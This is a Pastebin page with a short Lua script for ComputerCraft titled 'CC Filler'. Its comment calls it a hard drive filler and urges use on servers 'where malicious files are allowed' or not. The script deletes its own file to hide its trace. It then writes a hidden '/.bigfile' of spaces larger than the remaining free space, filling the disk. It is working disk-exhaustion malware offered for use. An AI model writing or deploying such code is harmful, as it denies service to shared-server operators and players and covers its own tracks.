Advertisement
LDDestroier

CC Filler

May 2nd, 2015
527
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.36 KB | None | 0 0
  1. --[[
  2. A hard drive filler program.
  3. On servers where malicious files are allowed, go nuts. Otherwise, go nuts.
  4. --]]
  5.  
  6. local fileName = "/.bigfile"
  7. fs.delete(shell.getRunningProgram())
  8. local file = fs.open(fileName,"w")
  9. file.write((" "):rep(fs.getFreeSpace(shell.dir())+500))
  10. file.close()
  11. print("Operation complete. " .. fs.getFreeSpace("/") .. " bytes left")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement